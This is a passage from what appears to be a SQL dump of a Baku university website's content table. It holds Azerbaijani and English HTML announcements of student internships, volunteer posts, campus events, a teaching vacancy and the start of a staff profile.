edir.</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>Yer</strong><strong>:&nbsp;</strong><strong>Bak</strong><strong>ı&nbsp;</strong><strong>T</strong><strong>ə</strong><strong>hsil</strong><strong>&nbsp;İ</strong><strong>nformas</strong><strong>i</strong><strong>ya</strong><strong>&nbsp;</strong><strong>M</strong><strong>ə</strong><strong>rk</strong><strong>ə</strong><strong>zi</strong></p><p>Təcrübə&nbsp;müddəti:&nbsp;01.06.2013-01.08.2013</p><p>&nbsp;Təcrübəçilər: 2&nbsp;nəfər</p><p>&nbsp;Təcrübə&nbsp;proqramları əməkdaşlıq&nbsp;vasitəsiylə&nbsp;tələbələrə&nbsp;daha&nbsp;çox&nbsp;təcrübə&nbsp;qazanmaq&nbsp;məqsədi&nbsp;təklif&nbsp;edir.</p><p>Biz&nbsp;universitetin&nbsp;mövcud&nbsp;əlaqələri&nbsp;ilə&nbsp;&nbsp;ortaq&nbsp;təhsilli&nbsp;&nbsp;tələbələrin&nbsp;&nbsp;&nbsp;imkanları&nbsp; üçün&nbsp;&nbsp;asanlaşdırır,professional&nbsp;iş&nbsp;təcrübəsi&nbsp;qazanmağa&nbsp;imkan&nbsp;yaradırıq.</p><p><strong>Uy</strong><strong>ğ</strong><strong>unluq</strong><strong>&nbsp;</strong><strong>t</strong><strong>ə</strong><strong>l</strong><strong>ə</strong><strong>bl</strong><strong>ə</strong><strong>ri</strong><strong>&nbsp;</strong></p><p>Hal hazırda oxuyan tələbələr</p><p>Ingilis və basqa bir&nbsp; dildə yaxşı işləməli<br>Universititet və müəssisə qeydlərində akademik performansı əla şəkildə nümayiş etdirməlidirlər<br>- Təcrübə üçün proqram sizin universitet və ya əlaqədar təşkilat tərəfindən dəstəklənməlidirSizin ərizənizi ən azı bir professor təsdiqləməsini tələb etməlidir<br>- İddiaçılar beynəlxalq təhsil sahəsində maraq nümayiş etməlidirlər.&nbsp;</p><p>Çoxmədəniyyətli qəbuluna uyğunlaşmaq imkanı və iş<br>Keçmiş iş təcrübəsi üçün əlavə mülahizə veriləcək<br></p><p>&nbsp;VACİB! Maraqlanan namizədlər öz CV-lərin emaliə göndərməlidirlər: uhuseynova@khazar.org</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp;Biz məmuniyyətlə bildiririkki Peşə inkişaf mərkəzi AMEC ilə biznes görüşü&nbsp; keçirəcək</strong></p><p><em>&nbsp;</em>AMEC Xəzər Tələbələr üçün onlara təcrübə imkanları təqdim edəcək və AMEC onlara iki il iş staj imkanı ilə təmin&nbsp; edəcək.</p><p><em>Hədəf qrupu Neft &amp; QAZ və ya İnşaat ixtisası üzrə təhsil alan II kurs tələbələri</em><strong><em>.</em></strong><em>&nbsp;<strong>&nbsp;</strong></em></p><p><strong>Unutmayın!</strong>&nbsp;Öz CV-inizi və qiymət vərəqənizi özünüzlə iclasa gətirin.</p><p>Cümə, , 26 Aprel, 2013</p><p>11:00 - 12:30</p><p>Xəzər Universiteti Neftçilər korpusu</p><p>Otaq 211 (II mərtəbə, köhnə korpus)</p><p>Əlavə məlumat üçün Peşə İnkişaf Mərkəzinə yaxınlaşın.</p><p>Otaq 211 (II mərtəbə, köhnə korpus)</p><p>&nbsp;</p><hr><p>&nbsp;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<strong>&nbsp;Tapşırıq&nbsp;</strong></p><p><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Azərbaycanda Oxfam üçün könüllülər&nbsp;&nbsp;</strong></p><p><strong>Ba</strong><strong>ş</strong><strong>l</strong><strong>ı</strong><strong>q</strong><strong>:&nbsp;</strong><strong>&nbsp;</strong>İdarəetmə və İnkişaf Könüllüləri</p><p><strong>Hesabat:</strong>&nbsp;İdarəetmə Proqramının Əlaqələndiricisi&nbsp;</p><p><strong>Səlahiyyət və Cədvəl:</strong>&nbsp;The Oxfam Volunteer is recruited for the period from 3 to 6 months, with possible changes to the duration upon agreement with the volunteer before the start. The volunteer is kindly asked to give notice if s/he wishes to step down with one month notice to allow the HR to recruit a successor.</p><p>&nbsp;</p><p>Hours and times are flexible and can be negotiated on merits. Preferably a minimum 20 hours per week between Mon-Fri (9:00-18:00) is required to at least accomplish weekly plan, under the direct supervision of Governance Programme Coordinator.</p><p><strong>Səlahiyyətlər:&nbsp;</strong><strong>&nbsp;Yalnız istinad müddətinə əsasən, gündəlik fəaliyyətində idarəetmə komanda dəstək</strong></p><p><strong>Daxildir:</strong></p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oxfam dəstəkçiləri və fundraisers şəbəkələri inkişaf kömək etmək<br><br>Təşkili və ümumi ictimaiyyət üçün fandreyzinq hadisələr təşviqi<br><br>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Təsirli və razı salıcı fandreyzinq nəticələri əldə etmək üçün yenilikçi çözümler təmin edir<br><br>Oxfam görnüşünün təmini və idarəsi</p><p>Yazılı hesabat və görüşlərin qeydin almaq<br><br>Hesabatda səfər nəticələri regionlarda Oxfam MEL (Monitorinq, Qiymətləndirmə və Learning) səfərləri iştirak və ümumiləşdirilməsi</p><p><br>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p>Ödənişli layihə iş sahələrinə Barda, Tərtər və Agcabedi video qeyd, müsahibələr alaraq və insan hekayələri toplanması fotoşəkil çəkilişi ziyarət<br>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Idarəçilik proqramı və layihələri üçün inzibati dəstək<br><br>Tərcümə layihə ərazilərində toplanan&nbsp; sənədlər, hesabatlar və insan hekayələr</p><p>&nbsp;</p><p><strong>Dövr:&nbsp;</strong>Oxfam qida və səyahət xərclərini əhatə edir&nbsp;</p><p><strong>Könüllü spesifikasiya</strong></p><p>Üstünlük Sosial Elmlər, Media və ya İctimaiyyətlə Əlaqələr ali təhsil,</p><p>&nbsp;Anlaşma və inkişaf bilik / QHT iş</p><p>&nbsp; Kampaniyaları ilə iş / qrant üstünlük təcrübə</p><p>&nbsp; Hadisələrin maddi-texniki tərəfi əlaqələndirmək bacarığı</p><p>&nbsp; Əla yazılı və ünsiyyət bacarıqları</p><p>Yaxşı kompüter bilikləri</p><p>&nbsp;Adaptasiya və rahatlıq</p><p>&nbsp;Əla ünsiyyət bacarıqları və təşkilati bacarıqlar</p><p>Bacarığı müstəqil işləmək və bir komanda hissəsi kimi yaxşı ünsiyyət bacarıqları və timescales üçün işləmək bacarığı vacibdir</p><p>Mərkəzi Azərbaycana səfər qadirdir lazım</p><p><strong>&nbsp;</strong></p><p>&nbsp;</p><p>Aprel 2013 15-də saat 18.00-dək İddiaçılar öz CV və niyyət məktubunu ifadə Azərbaycan&nbsp;<a href=\"mailto:Jobs@oxfam.org.uk\">Jobs@oxfam.org.uk</a>&nbsp;emailnə göndərmək tələb olunur və mövzu hissəsində baslığında&nbsp; \"İdarəetmə proqramı üçün könüllü\"yazın . Müsahibədə yalnız seçilmiş müraciətcilərlə əlaqə saxlanılacaq.&nbsp;<strong>&nbsp;</strong><strong>&nbsp;</strong></p><p><strong>Qeyd:&nbsp;</strong>Roman Bütün Oxfam könüllülər \'Oxfam yoldaş\' üçün onların böyük qatqı olur və yoxsulluğun azaldılması könüllülük vasitəsilə köməkçi olur. Denonsasiya qəbul tarixinin sonunda, könüllülər öz daxil üzərində xeyr işi üçün Oxfam sertifikalarla verilir<strong>&nbsp;</strong></p><p><strong>Oxfam Azərbaycan İdarəetmə Proqramı haqqında məlumat</strong>&nbsp;</p><p>&nbsp;</p><p>1999-cı ildə ilk dəfə Azərbaycanda bələdiyyələr yaranan zaman onlar dövlət kontrol sistemindən uygunlaşmamışdılar.</p><p>Azərbaycanın idarələr və instutisional potansialında “Oxfam” aparıçı rol oynayırdı. Azərbaycan 2003-cü ildən etibarən&nbsp; instutisional inkişaf əsasındn olan&nbsp; yoxsulluqla mübarizədə&nbsp; boyük prioritetlərə sahib idilər. Son 10 ildə bu proqram təcrübəli RHT şəbəkələrini yaxşı idarə etmədə İCCO EC və GİZ proektlərinin realaşdırmasında Bələdiyyənin Azərbaycanda inkişafın və tək yerli özünü idarəetmə orqanına çevirilməsini həyata keçirirdi.</p><p>“Oxfam” idarəetmə proqramının məqsədi Azərbaycanda tabeli və effektli özünü idarəetmə orqanını yaratmaqdır, çünki bu proqramın əsas məqsədi fiziki məhdudiyyətli qadın və kişilərini dövlət tərəfindən daha effektivli və yaxşı xidmət almasıdır. Bu proqram instutisional polusial mərkəzi Azərbaycanda cəmiyyət xidmətlərinin finanslarinması və inkişafını, informasional propaqanda işlərini milli və beynəlxalq səviyyədə dövlət orqanların və bəynəlxalq təşkilatları əhatə edir. Məsələn Avropa ittifaqi, Avropa birliyi və s.</p><p>&nbsp;</p><p>&nbsp;</p><p>Bu proqram yerli özünüidarə qurumları bələdiyyələrin potensialının artırılması daha effektiv və şəffaf edəcək ki, bu ümumi fərziyyə əsaslanır. Bu da yerli səviyyədə qərarların qəbul edilməsində yerli vətəndaşları çox cəlb etməsinə gətirib çıxaracaq. Görmə effektiv idarəetmə bacarıqları ilə təchiz güclü bələdiyyə insanların qaldırdığı problemləri həll etmək üçün maliyyə cəhətdən müstəqil də onlara hökuməti ilə dialoqu güclü&nbsp; etməyəvə&nbsp; daha çox ictimai etimadın qazanmasına kömək edəcək</p><p>&nbsp;</p><hr><p><br></p><p>&nbsp;AIESEC tələbələri liderlik təlimləri və kommersiya və qeyri-kommersiya təşkilatlarında təcrübə proqramları ilə təmin edən qeyri-kommersiya təşkilatıdır.</p><p>AIESEC şəbəkəsi 113 ölkəni və 86,000-dən çox üzvləri əhatə edir.</p><p>Bu dünya üzrə 2400-dən çox universiteti əhatə etməklə dünyanın ən böyük təşkilatıdır və öz üzvlərini 24000-dən çox liderlik təcrübəsi ilə təmin edir və hər il 20000 mübadilə üzrə tələbə və məzunlarını göndərir.</p><p>AIESEC gənclərin inkişafını və şəxsi inkişafa həvəsli olan qabiliyyətli fərdlərlə əlaqə saxlamağı dəstəkləyən 8000 tərəfdaş təşkilat tərəfindən dəstəklənir.&nbsp;</p><p>Azərbaycanda AIESEC tərəfdaş ölkə kimi Türkiyə AIESEC köməyi ilə 2006-cı ildə açılıb.</p><p>&nbsp;</p><p>Bu gün Bakı şəhərinin ali universitetlərinin əksəriyyətində mövcud olan və müxtəlif tərəfdaşları var. Ən yaxın münasibətlər AİESEC-in fəaliyyəti dövründə AIESEC və Xəzər Universiteti arasında qeyd olunur. Xəzər Universitetinin unikal tələbələr layihələr, vəzifələrin və təcrübə onları daha yaxşı göstərirdi.</p><p>Bu gün Azərbaycanda AİESEC-in növbəti tam imkanlarla dolu layihəsi bu yaxınlarda Xəzər-ə təklif edildi</p><p>&nbsp;</p><p>AIESEC Azərbaycan Xəzərin tələbələri üçün \"Internship abroad\" proqramına start verir. for students of Khazar.</p><p>20 nəfər proqrama seçiləcək.</p><p>Ölkələrdən birini seçim şansı: Rumıniya, Macarıstan, Türkiyə, Moldova, İtaliya, Malta, Şri-lanka;</p><p>Yerləşdirmə,gündəlik qida (2-3) və könüllü iş verilir;</p><p>Proqramın müddəti:6 həftə</p><p>Avia biletlər daxil deyil.Avia tickets are not included;</p><p>Tələblər: İngilis dili (orta)</p><p>İştirak ödənişi: 200 AZN(seçimdən sonra ödənilir)</p><p><strong>Son müraciət tarixi</strong><strong>: 6 Aprel</strong></p><p>&nbsp;&nbsp;Əlavə məlumat üçün:</p><p>+994517847019</p><p><a href=\"mailto:kamran2108@gmail.com\"><strong>kamran2108@gmail.com</strong></a></p><p>&nbsp;</p><hr><p><br></p><p><strong>TƏCRÜBƏ PROGRAMI&nbsp;</strong></p><p>Bütün maraqlanan namizədlər öz CV və TQDK imtahan nəticələrini&nbsp; başlıq hissəsində&nbsp;&nbsp;<em>‘</em><em>Internship</em>&nbsp;<em>at</em>&nbsp;<em>AMEC</em><em>’</em><em>&nbsp;</em></p><p>göstərərək aşağıdakı e-mail ünvanına göndərməldir: uhuseynova@khazar.org</p><p><strong><em>YALNIZ</em></strong><em>&nbsp;2-</em><em>ci</em>&nbsp;<em>kurs</em><em>&nbsp;İ</em><em>n</em><em>ş</em><em>aat</em>&nbsp;<em>M</em><em>ü</em><em>h</em><em>ə</em><em>ndisliyi</em>&nbsp;<em>v</em><em>ə&nbsp;</em><em>Neft</em>&nbsp;<em>M</em><em>ü</em><em>h</em><em>ə</em><em>ndisliyi</em>&nbsp;<em>t</em><em>ə</em><em>l</em><em>ə</em><em>b</em><em>ə</em><em>l</em><em>ə</em><em>ri</em>&nbsp;<em>m</em><em>ü</em><em>raci</em><em>ə</em><em>t</em>&nbsp;<em>bil</em><em>ə</em><em>r</em><em>!</em></p><p><em><br></em><strong>Son müraciət tarixi</strong><strong>:&nbsp;</strong>6 Aprel, 2013.</p><p>Son müraciət tarixindən sonra bütün namizədlər AMEC imtahanına dəvət olunacaq və 30 namizəd Aprel ayının sonunda seçiləcək.</p><p>Əlavə məlumat üçün Peşə İnkişaf Mərkəzinə yaxınlaşın.</p><p>Otaq 211 (II mərtəbə, köhnə korpus)&nbsp;</p><p>Tələsin!</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>T</strong><strong>ƏCRÜBƏ PROQRAMI</strong></p><p>Bütün maraqlanan namizədlər öz CV və transkriptlərini&nbsp; başlıq hissəsində göstərərək aşağıdakı e-mail ünvanına göndərməlidir: uhuseynova@khazar.org</p><p><strong><em>YALNIZ</em></strong><em>&nbsp;3-cü və 4-cü kurs Qazma mühəndisliyi və Proses mühəndisliyi (mexaniki/kimyəvi) tələbələri müraciət bilər!</em></p><p>Əlavə məlumat üçün Peşə İnkişaf Mərkəzinə yaxınlaşın.</p><p>Otaq 211 (II mərtəbə, köhnə korpus)</p><p>Tələsin!</p><p>&nbsp;</p><hr><p>&nbsp;</p><p>&nbsp;<strong>Ernst</strong><strong>&nbsp;&amp;&nbsp;</strong><strong>Young</strong></p><p>Əziz gənclər,<br>Ernst &amp; Young Bakı ofisinin Siğorta Xidmətinin 2013 İşə Qəbul Proqramının başlanmasını elan edir .</p><p>Biz tələbə və gənc mütəxəssislər 2013 İşə Qəbul Proqramında iştirak etməyə dəvət edirik.lazımi biliklər və təcrübə haqqında ətraflı məlumat üçün karyera səhifəmizə müraciət edin: http: tələb haqqında //www.ey.com/AZ/en/Careers</p><p>Bütün maraqlanan namizədlər öz CV və müraciətlərini http://www.ey.com/AZ/en/ vasitəsilə göndərmələri tələb olunur.</p><p>Müraciətlərin təqdim edilməsi üçün son tarix 29 mart, 2013.<br><br></p><p>&nbsp;</p><hr><p><br></p><p><strong>Əziz İqtisadçılar,</strong></p><p><strong>PARABANK&nbsp;Xəzər Universitetindən təcrübəçilər axtarır</strong></p><p>Tələb olunan keyfiyyətlər:</p><br><ul><li>Əla ünsiyyət Bacarıqları,</li><li>Riyaziyyat biliyi,</li><li>Əla təhlil Bacarıqları,</li><li>Mühasibat biliyi,</li><li>Yazılı və şifahi ingilis və rus dillərini sərbəst bilməli</li></ul><br><p><br>Maraqlanan namizədlər öz CV-inizi aşağıdakı e-mail adresinə göndərsin:&nbsp;<strong>uhuseynova</strong><strong>@</strong><strong>khazar</strong><strong>.</strong><strong>org</strong></p><p>Tələsin!</p>  <br></div>  <img src=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\"><img src=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\">'),(1724,1070,'en','Achievements of Electronic Engineering Students','The Electric Engineering course for Electronics Engineering and Biomechanical Engineering majors of the School of Engineering and Applied Sciences includes a strong practical component.','<p>The Electric Engineering course for Electronics Engineering and Biomechanical Engineering majors of the School of Engineering and Applied Sciences includes a strong practical component. Students build and demonstrate many interesting electronic devices. Several of the most significant projects have been placed online in video format at the following links:</p><p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Autonomous solar tracking panel:&nbsp;<a href=\"https://youtu.be/xRqpoiRBRUw\" target=\"_blank\">https://youtu.be/xRqpoiRBRUw</a>;</p><p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Vacuum cleaner device:&nbsp;<a href=\"https://youtu.be/84CsX-zrFS4\" target=\"_blank\">https://youtu.be/84CsX-zrFS4</a>;</p><p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mobile phone solar charger:&nbsp;<a href=\"https://youtu.be/r2S8dylqTp8\" target=\"_blank\">https://youtu.be/r2S8dylqTp8</a>.</p>'),(1196,494,'az','Şəkillər','Şəkillər',''),(2736,1638,'en','January','January',''),(2737,1638,'az','Yanvar','Yanvar',''),(2738,1639,'en','February','February',''),(2739,1639,'az','Fevral','Fevral',''),(2740,1640,'az','Mart','Mart',''),(2741,1640,'en','March','March',''),(2742,1641,'az','Aprel','Aprel',''),(2743,1641,'en','April','April',''),(2744,1628,'en','Journalism Training for School of Economics and Management Students ','On November 30, 2016, Jabir Mammadli, Coordinator of the Journalism Department of Khazar University, met with second-year students of the School of Economics and Management...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On November 30, 2016, Jabir Mammadli,\r\nCoordinator of the Journalism Department of Khazar University, met with\r\nsecond-year students of the School of Economics and Management. The objective\r\nof the meeting was to introduce “Journalism Students’ Club” members to the\r\nprinciples of journalism, the general rules of news reporting, characteristics\r\nof news and other areas. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">We note that the Journalism Students’\r\nClub is being created to help the university increase efficiency of reporting\r\non internal events. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">At the end of the event, students’\r\nquestions were answered.&nbsp;</p>'),(2745,1624,'en','Khazar University to hold Science Party','On December 23, 2016, the Khazar University Career Center will hold an event called “Science Party” on its Neftchilar Campus. The event is intended to motivate young students...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On December 23, 2016, the\r\nKhazar University Career Center will hold an event called “Science Party” on\r\nits Neftchilar Campus. The event is intended to motivate young students toward\r\nfurther academic activity as well as to raise their awareness of science and\r\neducation through an intellectual competition, an exhibition and seminars about\r\nvarious fields of science. Groups, organizations, public unions or state bodies\r\nwishing to participate in the exhibition with displays of their handicrafts,\r\nactivities or scientific accomplishments should apply by November 27, 2016 by\r\nsending photos, videos or sketches of their work. Anyone is welcome to register\r\nfor the exhibition with materials from the fields of physics, mathematics,\r\ngeometry, engineering, chemistry, architecture, technology or other scientific\r\nfields. Certificates will be given for the most creative and original displays\r\nat the exhibition on behalf of Khazar University and Azerbaijan Archeologists’\r\nSociety. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">People wishing to observe\r\nthe exhibition can attend and view the displays from 9:00-18:00 on Khazar University’s\r\nNeftchilar Campus by registering with their ID cards. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">For additional information, please use the following contacts:</p>\r\n<p>Ulviyya Huseynova, <a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a>;\r\nTel: (012) 421-79-16 (ext.212);</p>\r\n<p>Orkhan Zamanov, <a href=\"mailto:redkolleqa@gmail.com\">redkolleqa@gmail.com</a>; (055) 854-41-65\r\n(mobile).</p>\r\n<p>Important links:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://www.facebook.com/scienceparty2016/\">https://www.facebook.com/scienceparty2016/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://www.facebook.com/events/1617129631923114/1619795554989855/?notif_t=admin_plan_mall_activity&amp;notif_id=1479934117352483\">https://www.facebook.com/events/1617129631923114/1619795554989855/?notif_t=admin_plan_mall_activity&amp;notif_id=1479934117352483</a>.</p>'),(2024,1230,'az','Əməkdaşlarımız  və tələbələrimiz gənc rəssamın sərgisində','İyunun 21-23-də Mədəniyyət və Turizm Nazirliyi və Azərbaycan Rəssamlar İttifaqının birgə təşkilatçılığı ilə ittifaqın Vəcihə Səmədova adına sərgi salonunda...','<p>İyunun\r\n21-23-də\r\nMədəniyyət və Turizm Nazirliyi və Azərbaycan Rəssamlar İttifaqının birgə təşkilatçılığı\r\nilə ittifaqın Vəcihə Səmədova adına sərgi salonunda gənc rəssam Əfşan Əsədovanın\r\n“Yasəmən” adlı rəsm sərgisi nümayiş\r\netdirilib. Sərginin açılış mərasimndə Xəzər Universiteti Musiqi və incəsənət\r\ndapartamentinin müdiri, dosent Zülfiyyə Sadıqova, departementin müəllimi, xalça\r\nrəssamı Afaq Kərimova, universitetin rəssamı Mir Rafiq Əbdülrəhimov, “Xəzər Xəbər”\r\njurnalının dizayneri Nigar Aydəmirova və tələbələr də iştirak iştirak edirdilər.</p>\r\n<p>Tədbirdə Azərbaycan Rəssamlar İttifaqının katibi,\r\nXalq rəssamı Ağəli İbrahimov, Əməkdar incəsənət xadimi Ziyadxan Əliyev,\r\nAlmaniya-Azərbaycan Cəmiyyətinin sədri, kulturoloq Çingiz Abdullayev çıxış edərək,\r\nsərginin əhəmiyyətindən danışıblar.</p>\r\n<p>Qeyd\r\nolunub ki, istedadlı fırça ustasının sərgiyə təqdim etdiyi sənət əsərləri əsasən\r\nbatika, qrafika və moda janrındadır. Həm janr müxtəlifliyi, həm də işlənmə\r\ntexnikası ilə maraq doğuran sənət əsərləri zəngin dünyagörüşün və gərgin əməyin\r\nbəhrəsidir. Sərgidə\r\nnümayiş olunan 40-dək sənət əsəri müxtəlif mövzuları əhatə edir. Emosional\r\nhisslərin rənglərlə ifadəsi və fəlsəfi yanaşma sənət əsərlərinin əsas\r\nmövzularındandır.</p>\r\n<p>Ə.Əsədova çıxış edərək, sərginin təşkilində əməyi\r\nolan hər kəsə təşəkkürünü bildirib. Sonra iştirakçılar sərgi ilə tanış olublar.</p>\r\n<p>Sərginin açılış mərasimindən AZƏRTAC informasiya\r\nagentliyi (<em><a href=\"http://azertag.az/xeber/Genc_ressam_Afsan_Asedovanin_ferdi_sergisi_achilib-963504\">http://azertag.az/xeber/Genc_ressam_Afsan_Asedovanin_ferdi_sergisi_achilib-963504</a></em>),\r\nSalamnews\r\n(<em><a href=\"http://az.salamnews.org/az/news/read/224735\">http://az.salamnews.org/az/news/read/224735</a></em>),\r\nAz.Baku (<em><a href=\"http://az.baku-art.com/index.php?newsid=16464#.V20cUfmLTcs\">http://az.baku-art.com/index.php?newsid=16464#.V20cUfmLTcs</a></em>)\r\nsaytları xəbər yaymışlar.</p>'),(2025,1231,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursu”nda “Qonaq mühazirəçilər” seminarları','2016-cı il iyunun 23-də Xəzər Universitetinin “Neftçilər” kampusunda keçirilən “Potensial məktəb direktorları” təlim kursunda...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il iyunun 23-də Xəzər\r\nUniversitetinin “Neftçilər” kampusunda keçirilən “Potensial məktəb\r\ndirektorları” təlim kursunda “Qonaq mühazirəçilər” seminarlarınnın növbəti\r\ngörüşü baş tutdu. “Mərmər” zalda təşkil edilən seminarın budəfəki məruzəçi\r\nqonağı Bakı Şəhər Təhsil İdarəsinin rəhbəri Məhəbbət xanım Vəliyeva idi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">“Ümumtəhsil məktəblərini&nbsp; idarə edən\r\ntəhsil rəhbərlərindən gözlənilən keyfiyyətlər və bacarıqlar” mövzusu ilə çıxış\r\nedən Məhəbbət xanım Vəliyeva potensial məktəb direktorlarının seçilməsi prosesi\r\nilə əlaqədar ətraflı məlumat verdi, eyni zamanda, məktəblərdəki mövcud vəziyyətlə\r\nəlaqədar nümunələr göstərərək, məktəb rəhbərinin idarəçilik bilik bacarıqları\r\nilə yanaşı, şəxsi keyfiyyətlərinə də diqqət çəkərək, rəhbərin hər bir\r\ndavranışı, sözü, geyimi ilə rol-model olmasının əhəmiyyətini vurğuladı.&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Mühazirəsinin sonunda potensial məktəb\r\ndirektorlarından gözləntilərinin dəyişikliklərə açıq, yenilikləri tətbiq edən,\r\nproblemləri açıqca ortaya qoyaraq, həll yolları təklif edən liderlər olduğunu\r\nifadə edən&nbsp;Məhəbbət xanım Vəliyeva iştirakçıların suallarına da cavab\r\nverdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə iştirak edən Bakı Şəhər Təhsil\r\nİdarəsinin İnkişaf layihələri və innovasiya şöbəsinin müdiri, Xəzər\r\nUniversitetinin müəllimi Lamiyə Şərəfxanlı da işinə məsuliyyətli yanaşan,\r\nvaxtı, resursları səmərəli idarə edən, təşəbbüskar və yaradıcı təhsil rəhbərlərinə\r\nolan büyük ehtiyacı vurğuladı.</p>'),(2026,1231,'en','Guest Lecturers` Workshops in “Management Training Course for Potential School Directors”','On June 23, 2016, the next meeting of the ” Guest Lecturers” workshops was held within the training course “Potential School Directors” on the Neftchilar campus...','<p>On June 23, 2016, the next meeting of\r\nthe ” Guest Lecturers” workshops was held within the training course “Potential\r\nSchool Directors” on the Neftchilar campus of Khazar University. The guest\r\nlecturer of this seminar, held in Marble Hall, was Mehebbet Veliyeva, head of\r\nBaku City Education Department.</p>\r\n<p>Mehebbet Veliyeva, who delivered a\r\nlecture on “Qualifications and skills expected from secondary school directors”,\r\ngave detailed information about the selection process of potential school\r\ndirectors, and providing examples on the existing situation at schools, she drew\r\nattention to the personal qualities of school directors and emphasized that they\r\nshould be role- models not only with their management skills and knowledge, but\r\nalso with their behavior, attire, etc.</p>\r\n<p>At the end of the lecture, Mehebbet\r\nVeliyeva answered the participants` questions.</p>\r\n<p>Lamiya Sharafkhanova, Head of Education\r\nDevelopment Projects Division of Baku City Education Department, instructor at\r\nKhazar University, highlighted the need to creative, initiative school\r\ndirectors who are responsible and able to manage time and resources efficiently.\r\n</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>'),(2027,1092,'az','Vakansiya: İngilis dili müəllimi','Xəzər Universiteti İngilis dili və ədəbiyyatı departamenti 2016-cı il payız semestri üçün yarımştat ingilis dili müəllimi vəzifəsi üzrə vakansiya elan edir...','<p>Xəzər Universiteti İngilis dili və ədəbiyyatı departamenti 2016-cı il payız\r\nsemestri üçün yarımştat ingilis dili müəllimi vəzifəsi üzrə vakansiya elan\r\nedir. Müraciət edənlərin dilçilik və ya ingilis dilinin tədrisi sahəsində\r\nmagistr dərəcəsi olmalıdır. </p>\r\n<p>Ali məktəblərdə ingilis dilinin tədrisi üzrə ən az 3 illik təcrübəsi\r\nolanlara üstünlük veriləcək.</p>\r\n<p>Maraqlananlar Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinə <strong>2016-cı il iyulun 10-dan</strong> gec olmayaraq\r\nmüraciət edə və CV-lərini göndərə bilərlər: <a href=\"mailto:zqurbanova@khazar.org\">zqurbanova@khazar.org</a>. &nbsp;</p>'),(2514,1518,'en','Khazar in “Hints to Discover Beauties of Baku” Article','The news site azvision.az published an article entitled “Hints to Discover Beauties of Baku” (in English) about the highlights of the city. Khazar University is mentioned in the article...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\nnews site azvision.az published an article entitled “Hints to Discover Beauties\r\nof Baku” (in English) about the highlights of the city. Khazar University is\r\nmentioned in the article as one of the leading educational institutions in\r\nBaku. The article also includes photos of many of the places it mentions. The\r\nfull text is available at the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://en.azvision.az/Hints-to-discover-beauties--50851-xeber.html\">http://en.azvision.az/Hints-to-discover-beauties--50851-xeber.html</a>\r\n</p>'),(2028,1232,'en','Anar Ibrahimov','Anar Ibrahimov','<p><strong><br></strong></p><p><span style=\"color:#000000\">Email:</span>&nbsp;<a href=\"mailto:anar.ibrahimov@khazar.org\">anar.ibrahimov@khazar.org<img src=\"/files/image/Anar_Ibrahimov.jpg\" style=\"border:0px  #0000ee;width:150px;height:135px;margin:7px;float:right\"></a><o:p></o:p></p><p>Tel: +994 12 421 6335 (242)</p> <p><strong>Dr Anar Ibrahimov&nbsp;</strong>received his MD (Medical Doctor) degree from Azerbaijan Medical University (1995), and a Ph.D. in Medical Sciences (division – 